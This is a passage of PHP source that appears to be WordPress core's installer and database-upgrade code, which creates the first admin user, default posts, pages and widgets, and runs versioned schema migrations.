	function wp_install( $blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '', $language = '' ) {
		if ( ! empty( $deprecated ) ) {
			_deprecated_argument( __FUNCTION__, '2.6.0' );
		}

wp_check_mysql_version();
		wp_cache_flush();
		make_db_current_silent();
		populate_options();
		populate_roles();

update_option( 'blogname', $blog_title );
		update_option( 'admin_email', $user_email );
		update_option( 'blog_public', $public );

// Freshness of site - in the future, this could get more specific about actions taken, perhaps.
		update_option( 'fresh_site', 1 );

if ( $language ) {
			update_option( 'WPLANG', $language );
		}

$guessurl = wp_guess_url();

update_option( 'siteurl', $guessurl );

// If not a public site, don't ping.
		if ( ! $public ) {
			update_option( 'default_pingback_flag', 0 );
		}

/*
		 * Create default user. If the user already exists, the user tables are
		 * being shared among sites. Just set the role in that case.
		 */
		$user_id        = username_exists( $user_name );
		$user_password  = trim( $user_password );
		$email_password = false;
		$user_created   = false;

if ( ! $user_id && empty( $user_password ) ) {
			$user_password = wp_generate_password( 12, false );
			$message       = __( '<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.' );
			$user_id       = wp_create_user( $user_name, $user_password, $user_email );
			update_user_option( $user_id, 'default_password_nag', true, true );
			$email_password = true;
			$user_created   = true;
		} elseif ( ! $user_id ) {
			// Password has been provided.
			$message      = '<em>' . __( 'Your chosen password.' ) . '</em>';
			$user_id      = wp_create_user( $user_name, $user_password, $user_email );
			$user_created = true;
		} else {
			$message = __( 'User already exists. Password inherited.' );
		}

$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );

if ( $user_created ) {
			$user->user_url = $guessurl;
			wp_update_user( $user );
		}

wp_install_defaults( $user_id );

wp_install_maybe_enable_pretty_permalinks();

flush_rewrite_rules();

wp_new_blog_notification( $blog_title, $guessurl, $user_id, ( $email_password ? $user_password : __( 'The password you chose during installation.' ) ) );

wp_cache_flush();

/**
		 * Fires after a site is fully installed.
		 *
		 * @since 3.9.0
		 *
		 * @param WP_User $user The site owner.
		 */
		do_action( 'wp_install', $user );

return array(
			'url'              => $guessurl,
			'user_id'          => $user_id,
			'password'         => $user_password,
			'password_message' => $message,
		);
	}
endif;

if ( ! function_exists( 'wp_install_defaults' ) ) :
	/**
	 * Creates the initial content for a newly-installed site.
	 *
	 * Adds the default "Uncategorized" category, the first post (with comment),
	 * first page, and default widgets for default theme for the current version.
	 *
	 * @since 2.1.0
	 *
	 * @global wpdb       $wpdb         WordPress database abstraction object.
	 * @global WP_Rewrite $wp_rewrite   WordPress rewrite component.
	 * @global string     $table_prefix
	 *
	 * @param int $user_id User ID.
	 */
	function wp_install_defaults( $user_id ) {
		global $wpdb, $wp_rewrite, $table_prefix;

// Default category.
		$cat_name = __( 'Uncategorized' );
		/* translators: Default category slug. */
		$cat_slug = sanitize_title( _x( 'Uncategorized', 'Default category slug' ) );

if ( global_terms_enabled() ) {
			$cat_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM {$wpdb->sitecategories} WHERE category_nicename = %s", $cat_slug ) );
			if ( null == $cat_id ) {
				$wpdb->insert(
					$wpdb->sitecategories,
					array(
						'cat_ID'            => 0,
						'cat_name'          => $cat_name,
						'category_nicename' => $cat_slug,
						'last_updated'      => current_time( 'mysql', true ),
					)
				);
				$cat_id = $wpdb->insert_id;
			}
			update_option( 'default_category', $cat_id );
		} else {
			$cat_id = 1;
		}

$wpdb->insert(
			$wpdb->terms,
			array(
				'term_id'    => $cat_id,
				'name'       => $cat_name,
				'slug'       => $cat_slug,
				'term_group' => 0,
			)
		);
		$wpdb->insert(
			$wpdb->term_taxonomy,
			array(
				'term_id'     => $cat_id,
				'taxonomy'    => 'category',
				'description' => '',
				'parent'      => 0,
				'count'       => 1,
			)
		);
		$cat_tt_id = $wpdb->insert_id;

// First post.
		$now             = current_time( 'mysql' );
		$now_gmt         = current_time( 'mysql', 1 );
		$first_post_guid = get_option( 'home' ) . '/?p=1';

if ( is_multisite() ) {
			$first_post = get_site_option( 'first_post' );

if ( ! $first_post ) {
				$first_post = "\n<p>" .
				/* translators: First post content. %s: Site link. */
				__( 'Welcome to %s. This is your first post. Edit or delete it, then start writing!' ) .
				"</p>\n";
			}

$first_post = sprintf(
				$first_post,
				sprintf( '<a href="%s">%s</a>', esc_url( network_home_url() ), get_network()->site_name )
			);

// Back-compat for pre-4.4.
			$first_post = str_replace( 'SITE_URL', esc_url( network_home_url() ), $first_post );
			$first_post = str_replace( 'SITE_NAME', get_network()->site_name, $first_post );
		} else {
			$first_post = "\n<p>" .
			/* translators: First post content. %s: Site link. */
			__( 'Welcome to WordPress. This is your first post. Edit or delete it, then start writing!' ) .
			"</p>\n";
		}

$wpdb->insert(
			$wpdb->posts,
			array(
				'post_author'           => $user_id,
				'post_date'             => $now,
				'post_date_gmt'         => $now_gmt,
				'post_content'          => $first_post,
				'post_excerpt'          => '',
				'post_title'            => __( 'Hello world!' ),
				/* translators: Default post slug. */
				'post_name'             => sanitize_title( _x( 'hello-world', 'Default post slug' ) ),
				'post_modified'         => $now,
				'post_modified_gmt'     => $now_gmt,
				'guid'                  => $first_post_guid,
				'comment_count'         => 1,
				'to_ping'               => '',
				'pinged'                => '',
				'post_content_filtered' => '',
			)
		);
		$wpdb->insert(
			$wpdb->term_relationships,
			array(
				'term_taxonomy_id' => $cat_tt_id,
				'object_id'        => 1,
			)
		);

// Default comment.
		if ( is_multisite() ) {
			$first_comment_author = get_site_option( 'first_comment_author' );
			$first_comment_email  = get_site_option( 'first_comment_email' );
			$first_comment_url    = get_site_option( 'first_comment_url', network_home_url() );
			$first_comment        = get_site_option( 'first_comment' );
		}

$first_comment_author = ! empty( $first_comment_author ) ? $first_comment_author : __( 'A WordPress Commenter' );
		$first_comment_email  = ! empty( $first_comment_email ) ? $first_comment_email : 'wapuu@wordpress.example';
		$first_comment_url    = ! empty( $first_comment_url ) ? $first_comment_url : 'https://wordpress.org/';
		$first_comment        = ! empty( $first_comment ) ? $first_comment : __(
			'Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from <a href="https://gravatar.com">Gravatar</a>.'
		);
		$wpdb->insert(
			$wpdb->comments,
			array(
				'comment_post_ID'      => 1,
				'comment_author'       => $first_comment_author,
				'comment_author_email' => $first_comment_email,
				'comment_author_url'   => $first_comment_url,
				'comment_date'         => $now,
				'comment_date_gmt'     => $now_gmt,
				'comment_content'      => $first_comment,
				'comment_type'         => 'comment',
			)
		);

// First page.
		if ( is_multisite() ) {
			$first_page = get_site_option( 'first_page' );
		}

if ( empty( $first_page ) ) {
			$first_page = "\n<p>";
			/* translators: First page content. */
			$first_page .= __( "This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:" );
			$first_page .= "</p>\n\n\n";

$first_page .= "\n<blockquote class=\"wp-block-quote\"><p>";
			/* translators: First page content. */
			$first_page .= __( "Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my website. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)" );
			$first_page .= "</p></blockquote>\n\n\n";

$first_page .= "\n<p>";
			/* translators: First page content. */
			$first_page .= __( '...or something like this:' );
			$first_page .= "</p>\n\n\n";

$first_page .= "\n<blockquote class=\"wp-block-quote\"><p>";
			/* translators: First page content. */
			$first_page .= __( 'The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.' );
			$first_page .= "</p></blockquote>\n\n\n";

$first_page .= "\n<p>";
			$first_page .= sprintf(
				/* translators: First page content. %s: Site admin URL. */
				__( 'As a new WordPress user, you should go to <a href="%s">your dashboard</a> to delete this page and create new pages for your content. Have fun!' ),
				admin_url()
			);
			$first_page .= "</p>\n";
		}

$first_post_guid = get_option( 'home' ) . '/?page_id=2';
		$wpdb->insert(
			$wpdb->posts,
			array(
				'post_author'           => $user_id,
				'post_date'             => $now,
				'post_date_gmt'         => $now_gmt,
				'post_content'          => $first_page,
				'post_excerpt'          => '',
				'comment_status'        => 'closed',
				'post_title'            => __( 'Sample Page' ),
				/* translators: Default page slug. */
				'post_name'             => __( 'sample-page' ),
				'post_modified'         => $now,
				'post_modified_gmt'     => $now_gmt,
				'guid'                  => $first_post_guid,
				'post_type'             => 'page',
				'to_ping'               => '',
				'pinged'                => '',
				'post_content_filtered' => '',
			)
		);
		$wpdb->insert(
			$wpdb->postmeta,
			array(
				'post_id'    => 2,
				'meta_key'   => '_wp_page_template',
				'meta_value' => 'default',
			)
		);

// Privacy Policy page.
		if ( is_multisite() ) {
			// Disable by default unless the suggested content is provided.
			$privacy_policy_content = get_site_option( 'default_privacy_policy_content' );
		} else {
			if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
				include_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
			}

$privacy_policy_content = WP_Privacy_Policy_Content::get_default_content();
		}

if ( ! empty( $privacy_policy_content ) ) {
			$privacy_policy_guid = get_option( 'home' ) . '/?page_id=3';

$wpdb->insert(
				$wpdb->posts,
				array(
					'post_author'           => $user_id,
					'post_date'             => $now,
					'post_date_gmt'         => $now_gmt,
					'post_content'          => $privacy_policy_content,
					'post_excerpt'          => '',
					'comment_status'        => 'closed',
					'post_title'            => __( 'Privacy Policy' ),
					/* translators: Privacy Policy page slug. */
					'post_name'             => __( 'privacy-policy' ),
					'post_modified'         => $now,
					'post_modified_gmt'     => $now_gmt,
					'guid'                  => $privacy_policy_guid,
					'post_type'             => 'page',
					'post_status'           => 'draft',
					'to_ping'               => '',
					'pinged'                => '',
					'post_content_filtered' => '',
				)
			);
			$wpdb->insert(
				$wpdb->postmeta,
				array(
					'post_id'    => 3,
					'meta_key'   => '_wp_page_template',
					'meta_value' => 'default',
				)
			);
			update_option( 'wp_page_for_privacy_policy', 3 );
		}

// Set up default widgets for default theme.
		update_option(
			'widget_search',
			array(
				2              => array( 'title' => '' ),
				'_multiwidget' => 1,
			)
		);
		update_option(
			'widget_recent-posts',
			array(
				2              => array(
					'title'  => '',
					'number' => 5,
				),
				'_multiwidget' => 1,
			)
		);
		update_option(
			'widget_recent-comments',
			array(
				2              => array(
					'title'  => '',
					'number' => 5,
				),
				'_multiwidget' => 1,
			)
		);
		update_option(
			'widget_archives',
			array(
				2              => array(
					'title'    => '',
					'count'    => 0,
					'dropdown' => 0,
				),
				'_multiwidget' => 1,
			)
		);
		update_option(
			'widget_categories',
			array(
				2              => array(
					'title'        => '',
					'count'        => 0,
					'hierarchical' => 0,
					'dropdown'     => 0,
				),
				'_multiwidget' => 1,
			)
		);
		update_option(
			'widget_meta',
			array(
				2              => array( 'title' => '' ),
				'_multiwidget' => 1,
			)
		);
		update_option(
			'sidebars_widgets',
			array(
				'wp_inactive_widgets' => array(),
				'sidebar-1'           => array(
					0 => 'search-2',
					1 => 'recent-posts-2',
					2 => 'recent-comments-2',
				),
				'sidebar-2'           => array(
					0 => 'archives-2',
					1 => 'categories-2',
					2 => 'meta-2',
				),
				'array_version'       => 3,
			)
		);
		if ( ! is_multisite() ) {
			update_user_meta( $user_id, 'show_welcome_panel', 1 );
		} elseif ( ! is_super_admin( $user_id ) && ! metadata_exists( 'user', $user_id, 'show_welcome_panel' ) ) {
			update_user_meta( $user_id, 'show_welcome_panel', 2 );
		}

if ( is_multisite() ) {
			// Flush rules to pick up the new page.
			$wp_rewrite->init();
			$wp_rewrite->flush_rules();

$user = new WP_User( $user_id );
			$wpdb->update( $wpdb->options, array( 'option_value' => $user->user_email ), array( 'option_name' => 'admin_email' ) );

// Remove all perms except for the login user.
			$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix . 'user_level' ) );
			$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix . 'capabilities' ) );

// Delete any caps that snuck into the previously active blog. (Hardcoded to blog 1 for now.)
			// TODO: Get previous_blog_id.
			if ( ! is_super_admin( $user_id ) && 1 != $user_id ) {
				$wpdb->delete(
					$wpdb->usermeta,
					array(
						'user_id'  => $user_id,
						'meta_key' => $wpdb->base_prefix . '1_capabilities',
					)
				);
			}
		}
	}
endif;

/**
 * Maybe enable pretty permalinks on installation.
 *
 * If after enabling pretty permalinks don't work, fallback to query-string permalinks.
 *
 * @since 4.2.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool Whether pretty permalinks are enabled. False otherwise.
 */
function wp_install_maybe_enable_pretty_permalinks() {
	global $wp_rewrite;

// Bail if a permalink structure is already enabled.
	if ( get_option( 'permalink_structure' ) ) {
		return true;
	}

/*
	 * The Permalink structures to attempt.
	 *
	 * The first is designed for mod_rewrite or nginx rewriting.
	 *
	 * The second is PATHINFO-based permalinks for web server configurations
	 * without a true rewrite module enabled.
	 */
	$permalink_structures = array(
		'/%year%/%monthnum%/%day%/%postname%/',
		'/index.php/%year%/%monthnum%/%day%/%postname%/',
	);

foreach ( (array) $permalink_structures as $permalink_structure ) {
		$wp_rewrite->set_permalink_structure( $permalink_structure );

/*
		 * Flush rules with the hard option to force refresh of the web-server's
		 * rewrite config file (e.g. .htaccess or web.config).
		 */
		$wp_rewrite->flush_rules( true );

$test_url = '';

// Test against a real WordPress post.
		$first_post = get_page_by_path( sanitize_title( _x( 'hello-world', 'Default post slug' ) ), OBJECT, 'post' );
		if ( $first_post ) {
			$test_url = get_permalink( $first_post->ID );
		}

/*
		 * Send a request to the site, and check whether
		 * the 'x-pingback' header is returned as expected.
		 *
		 * Uses wp_remote_get() instead of wp_remote_head() because web servers
		 * can block head requests.
		 */
		$response          = wp_remote_get( $test_url, array( 'timeout' => 5 ) );
		$x_pingback_header = wp_remote_retrieve_header( $response, 'x-pingback' );
		$pretty_permalinks = $x_pingback_header && get_bloginfo( 'pingback_url' ) === $x_pingback_header;

if ( $pretty_permalinks ) {
			return true;
		}
	}

/*
	 * If it makes it this far, pretty permalinks failed.
	 * Fallback to query-string permalinks.
	 */
	$wp_rewrite->set_permalink_structure( '' );
	$wp_rewrite->flush_rules( true );

return false;
}

if ( ! function_exists( 'wp_new_blog_notification' ) ) :
	/**
	 * Notifies the site admin that the setup is complete.
	 *
	 * Sends an email with wp_mail to the new administrator that the site setup is complete,
	 * and provides them with a record of their login credentials.
	 *
	 * @since 2.1.0
	 *
	 * @param string $blog_title Site title.
	 * @param string $blog_url   Site url.
	 * @param int    $user_id    User ID.
	 * @param string $password   User's Password.
	 */
	function wp_new_blog_notification( $blog_title, $blog_url, $user_id, $password ) {
		$user      = new WP_User( $user_id );
		$email     = $user->user_email;
		$name      = $user->user_login;
		$login_url = wp_login_url();

$message = sprintf(
			/* translators: New site notification email. 1: New site URL, 2: User login, 3: User password or password reset link, 4: Login URL. */
			__(
				'Your new WordPress site has been successfully set up at:

%1$s

You can log in to the administrator account with the following information:

Username: %2$s
Password: %3$s
Log in here: %4$s

We hope you enjoy your new site. Thanks!

--The WordPress Team
https://wordpress.org/
'
			),
			$blog_url,
			$name,
			$password,
			$login_url
		);

wp_mail( $email, __( 'New WordPress Site' ), $message );
	}
endif;

if ( ! function_exists( 'wp_upgrade' ) ) :
	/**
	 * Runs WordPress Upgrade functions.
	 *
	 * Upgrades the database if needed during a site update.
	 *
	 * @since 2.1.0
	 *
	 * @global int  $wp_current_db_version The old (current) database version.
	 * @global int  $wp_db_version         The new database version.
	 * @global wpdb $wpdb                  WordPress database abstraction object.
	 */
	function wp_upgrade() {
		global $wp_current_db_version, $wp_db_version, $wpdb;

$wp_current_db_version = __get_option( 'db_version' );

// We are up to date. Nothing to do.
		if ( $wp_db_version == $wp_current_db_version ) {
			return;
		}

if ( ! is_blog_installed() ) {
			return;
		}

wp_check_mysql_version();
		wp_cache_flush();
		pre_schema_upgrade();
		make_db_current_silent();
		upgrade_all();
		if ( is_multisite() && is_main_site() ) {
			upgrade_network();
		}
		wp_cache_flush();

if ( is_multisite() ) {
			update_site_meta( get_current_blog_id(), 'db_version', $wp_db_version );
			update_site_meta( get_current_blog_id(), 'db_last_updated', microtime() );
		}

/**
		 * Fires after a site is fully upgraded.
		 *
		 * @since 3.9.0
		 *
		 * @param int $wp_db_version         The new $wp_db_version.
		 * @param int $wp_current_db_version The old (current) $wp_db_version.
		 */
		do_action( 'wp_upgrade', $wp_db_version, $wp_current_db_version );
	}
endif;

/**
 * Functions to be called in installation and upgrade scripts.
 *
 * Contains conditional checks to determine which upgrade scripts to run,
 * based on database version and WP version being updated-to.
 *
 * @ignore
 * @since 1.0.1
 *
 * @global int $wp_current_db_version The old (current) database version.
 * @global int $wp_db_version         The new database version.
 */
function upgrade_all() {
	global $wp_current_db_version, $wp_db_version;

$wp_current_db_version = __get_option( 'db_version' );

// We are up to date. Nothing to do.
	if ( $wp_db_version == $wp_current_db_version ) {
		return;
	}

// If the version is not set in the DB, try to guess the version.
	if ( empty( $wp_current_db_version ) ) {
		$wp_current_db_version = 0;

// If the template option exists, we have 1.5.
		$template = __get_option( 'template' );
		if ( ! empty( $template ) ) {
			$wp_current_db_version = 2541;
		}
	}

if ( $wp_current_db_version < 6039 ) {
		upgrade_230_options_table();
	}

populate_options();

if ( $wp_current_db_version < 2541 ) {
		upgrade_100();
		upgrade_101();
		upgrade_110();
		upgrade_130();
	}

if ( $wp_current_db_version < 3308 ) {
		upgrade_160();
	}

if ( $wp_current_db_version < 4772 ) {
		upgrade_210();
	}

if ( $wp_current_db_version < 4351 ) {
		upgrade_old_slugs();
	}

if ( $wp_current_db_version < 5539 ) {
		upgrade_230();
	}

if ( $wp_current_db_version < 6124 ) {
		upgrade_230_old_tables();
	}

if ( $wp_current_db_version < 7499 ) {
		upgrade_250();
	}

if ( $wp_current_db_version < 7935 ) {
		upgrade_252();
	}

if ( $wp_current_db_version < 8201 ) {
		upgrade_260();
	}

if ( $wp_current_db_version < 8989 ) {
		upgrade_270();
	}

if ( $wp_current_db_version < 10360 ) {
		upgrade_280();
	}

if ( $wp_current_db_version < 11958 ) {
		upgrade_290();
	}

if ( $wp_current_db_version < 15260 ) {
		upgrade_300();
	}

if ( $wp_current_db_version < 19389 ) {
		upgrade_330();
	}

if ( $wp_current_db_version < 20080 ) {
		upgrade_340();
	}

if ( $wp_current_db_version < 22422 ) {
		upgrade_350();
	}

if ( $wp_current_db_version < 25824 ) {
		upgrade_370();
	}

if ( $wp_current_db_version < 26148 ) {
		upgrade_372();
	}

if ( $wp_current_db_version < 26691 ) {
		upgrade_380();
	}

if ( $wp_current_db_version < 29630 ) {
		upgrade_400();
	}

if ( $wp_current_db_version < 33055 ) {
		upgrade_430();
	}

if ( $wp_current_db_version < 33056 ) {
		upgrade_431();
	}

if ( $wp_current_db_version < 35700 ) {
		upgrade_440();
	}

if ( $wp_current_db_version < 36686 ) {
		upgrade_450();
	}

if ( $wp_current_db_version < 37965 ) {
		upgrade_460();
	}

if ( $wp_current_db_version < 44719 ) {
		upgrade_510();
	}

if ( $wp_current_db_version < 45744 ) {
		upgrade_530();
	}

if ( $wp_current_db_version < 48575 ) {
		upgrade_550();
	}

maybe_disable_link_manager();

maybe_disable_automattic_widgets();

update_option( 'db_version', $wp_db_version );
	update_option( 'db_upgraded', true );
}

/**
 * Execute changes made in WordPress 1.0.
 *
 * @ignore
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_100() {
	global $wpdb;

// Get the title and ID of every post, post_name to check if it already has a value.
	$posts = $wpdb->get_results( "SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''" );
	if ( $posts ) {
		foreach ( $posts as $post ) {
			if ( '' === $post->post_name ) {
				$newtitle = sanitize_title( $post->post_title );
				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID ) );
			}
		}
	}

$categories = $wpdb->get_results( "SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories" );
	foreach ( $categories as $category ) {
		if ( '' === $category->category_nicename ) {
			$newtitle = sanitize_title( $category->cat_name );
			$wpdb->update( $wpdb->categories, array( 'category_nicename' => $newtitle ), array( 'cat_ID' => $category->cat_ID ) );
		}
	}

$sql = "UPDATE $wpdb->options
		SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/')
		WHERE option_name LIKE %s
		AND option_value LIKE %s";
	$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( 'links_rating_image' ) . '%', $wpdb->esc_like( 'wp-links/links-images/' ) . '%' ) );

$done_ids = $wpdb->get_results( "SELECT DISTINCT post_id FROM $wpdb->post2cat" );
	if ( $done_ids ) :
		$done_posts = array();
		foreach ( $done_ids as $done_id ) :
			$done_posts[] = $done_id->post_id;
		endforeach;
		$catwhere = ' AND ID NOT IN (' . implode( ',', $done_posts ) . ')';
	else :
		$catwhere = '';
	endif;

$allposts = $wpdb->get_results( "SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere" );
	if ( $allposts ) :
		foreach ( $allposts as $post ) {
			// Check to see if it's already been imported.
			$cat = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category ) );
			if ( ! $cat && 0 != $post->post_category ) { // If there's no result.
				$wpdb->insert(
					$wpdb->post2cat,
					array(
						'post_id'     => $post->ID,
						'category_id' => $post->post_category,
					)
				);
			}
		}
	endif;
}

/**
 * Execute changes made in WordPress 1.0.1.
 *
 * @ignore
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_101() {
	global $wpdb;

// Clean up indices, add a few.
	add_clean_index( $wpdb->posts, 'post_name' );
	add_clean_index( $wpdb->posts, 'post_status' );
	add_clean_index( $wpdb->categories, 'category_nicename' );
	add_clean_index( $wpdb->comments, 'comment_approved' );
	add_clean_index( $wpdb->comments, 'comment_post_ID' );
	add_clean_index( $wpdb->links, 'link_category' );
	add_clean_index( $wpdb->links, 'link_visible' );
}

/**
 * Execute changes made in WordPress 1.2.
 *
 * @ignore
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_110() {
	global $wpdb;

// Set user_nicename.
	$users = $wpdb->get_results( "SELECT ID, user_nickname, user_nicename FROM $wpdb->users" );
	foreach ( $users as $user ) {
		if ( '' === $user->user_nicename ) {
			$newname = sanitize_title( $user->user_nickname );
			$wpdb->update( $wpdb->users, array( 'user_nicename' => $newname ), array( 'ID' => $user->ID ) );
		}
	}

$users = $wpdb->get_results( "SELECT ID, user_pass from $wpdb->users" );
	foreach ( $users as $row ) {
		if ( ! preg_match( '/^[A-Fa-f0-9]{32}$/', $row->user_pass ) ) {
			$wpdb->update( $wpdb->users, array( 'user_pass' => md5( $row->user_pass ) ), array( 'ID' => $row->ID ) );
		}
	}

// Get the GMT offset, we'll use that later on.
	$all_options = get_alloptions_110();

$time_difference = $all_options->time_difference;

$server_time = time() + gmdate( 'Z' );
	$weblogger_time  = $server_time + $time_difference * HOUR_IN_SECONDS;
	$gmt_time        = time();

$diff_gmt_server       = ( $gmt_time - $server_time ) / HOUR_IN_SECONDS;
	$diff_weblogger_server = ( $weblogger_time - $server_time ) / HOUR_IN_SECONDS;
	$diff_gmt_weblogger    = $diff_gmt_server - $diff_weblogger_server;
	$gmt_offset            = -$diff_gmt_weblogger;

// Add a gmt_offset option, with value $gmt_offset.
	add_option( 'gmt_offset', $gmt_offset );

/*
	 * Check if we already set the GMT fields. If we did, then
	 * MAX(post_date_gmt) can't be '0000-00-00 00:00:00'.
	 * <michel_v> I just slapped myself silly for not thinking about it earlier.
	 */
	$got_gmt_fields = ( '0000-00-00 00:00:00' !== $wpdb->get_var( "SELECT MAX(post_date_gmt) FROM $wpdb->posts" ) );

if ( ! $got_gmt_fields ) {

// Add or subtract time to all dates, to get GMT dates.
		$add_hours   = intval( $diff_gmt_weblogger );
		$add_minutes = intval( 60 * ( $diff_gmt_weblogger - $add_hours ) );
		$wpdb->query( "UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
		$wpdb->query( "UPDATE $wpdb->posts SET post_modified = post_date" );
		$wpdb->query( "UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'" );
		$wpdb->query( "UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
		$wpdb->query( "UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
	}

}

/**
 * Execute changes made in WordPress 1.5.
 *
 * @ignore
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_130() {
	global $wpdb;

// Remove extraneous backslashes.
	$posts = $wpdb->get_results( "SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts" );
	if ( $posts ) {
		foreach ( $posts as $post ) {
			$post_content = addslashes( deslash( $post->post_content ) );
			$post_title   = addslashes( deslash( $post->post_title ) );
			$post_excerpt = addslashes( deslash( $post->post_excerpt ) );
			if ( empty( $post->guid ) ) {
				$guid = get_permalink( $post->ID );
			} else {
				$guid = $post->guid;
			}

$wpdb->update( $wpdb->posts, compact( 'post_title', 'post_content', 'post_excerpt', 'guid' ), array( 'ID' => $post->ID ) );

}
	}

// Remove extraneous backslashes.
	$comments = $wpdb->get_results( "SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments" );
	if ( $comments ) {
		foreach ( $comments as $comment ) {
			$comment_content = deslash( $comment->comment_content );
			$comment_author  = deslash( $comment->comment_author );

$wpdb->update( $wpdb->comments, compact( 'comment_content', 'comment_author' ), array( 'comment_ID' => $comment->comment_ID ) );
		}
	}

// Remove extraneous backslashes.
	$links = $wpdb->get_results( "SELECT link_id, link_name, link_description FROM $wpdb->links" );
	if ( $links ) {
		foreach ( $links as $link ) {
			$link_name        = deslash( $link->link_name );
			$link_description = deslash( $link->link_description );

$wpdb->update( $wpdb->links, compact( 'link_name', 'link_description' ), array( 'link_id' => $link->link_id ) );
		}
	}

$active_plugins = __get_option( 'active_plugins' );

/*
	 * If plugins are not stored in an array, they're stored in the old
	 * newline separated format. Convert to new format.
	 */
	if ( ! is_array( $active_plugins ) ) {
		$active_plugins = explode( "\n", trim( $active_plugins ) );
		update_option( 'active_plugins', $active_plugins );
	}

// Obsolete tables.
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options' );

// Update comments table to use comment_type.
	$wpdb->query( "UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '<trackback />', '') WHERE comment_content LIKE '<trackback />%'" );
	$wpdb->query( "UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '<pingback />', '') WHERE comment_content LIKE '<pingback />%'" );

// Some versions have multiple duplicate option_name rows with the same values.
	$options = $wpdb->get_results( "SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name" );
	foreach ( $options as $option ) {
		if ( 1 != $option->dupes ) { // Could this be done in the query?
			$limit    = $option->dupes - 1;
			$dupe_ids = $wpdb->get_col( $wpdb->prepare( "SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit ) );
			if ( $dupe_ids ) {
				$dupe_ids = join( ',', $dupe_ids );
				$wpdb->query( "DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)" );
			}
		}
	}

make_site_theme();
}

/**
 * Execute changes made in WordPress 2.0.
 *
 * @ignore
 * @since 2.0.0
 *
 * @global wpdb $wpdb                  WordPress database abstraction object.
 * @global int  $wp_current_db_version The old (current) database version.
 */
function upgrade_160() {
	global $wpdb, $wp_current_db_version;

populate_roles_160();

$users = $wpdb->get_results( "SELECT * FROM $wpdb->users" );
	foreach ( $users as $user ) :
		if ( ! empty( $user->user_firstname ) ) {
			update_user_meta( $user->ID, 'first_name', wp_slash( $user->user_firstname ) );
		}
		if ( ! empty( $user->user_lastname ) ) {
			update_user_meta( $user->ID, 'last_name', wp_slash( $user->user_lastname ) );
		}
		if ( ! empty( $user->user_nickname ) ) {
			update_user_meta( $user->ID, 'nickname', wp_slash( $user->user_nickname ) );
		}
		if ( ! empty( $user->user_level ) ) {
			update_user_meta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level );
		}
		if ( ! empty( $user->user_icq ) ) {
			update_user_meta( $user->ID, 'icq', wp_slash( $user->user_icq ) );
		}
		if ( ! empty( $user->user_aim ) ) {
			update_user_meta( $user->ID, 'aim', wp_slash( $user->user_aim ) );
		}
		if ( ! empty( $user->user_msn ) ) {
			update_user_meta( $user->ID, 'msn', wp_slash( $user->user_msn ) );
		}
		if ( ! empty( $user->user_yim ) ) {
			update_user_meta( $user->ID, 'yim', wp_slash( $user->user_icq ) );
		}
		if ( ! empty( $user->user_description ) ) {
			update_user_meta( $user->ID, 'description', wp_slash( $user->user_description ) );
		}

if ( isset( $user->user_idmode ) ) :
			$idmode = $user->user_idmode;
			if ( 'nickname' === $idmode ) {
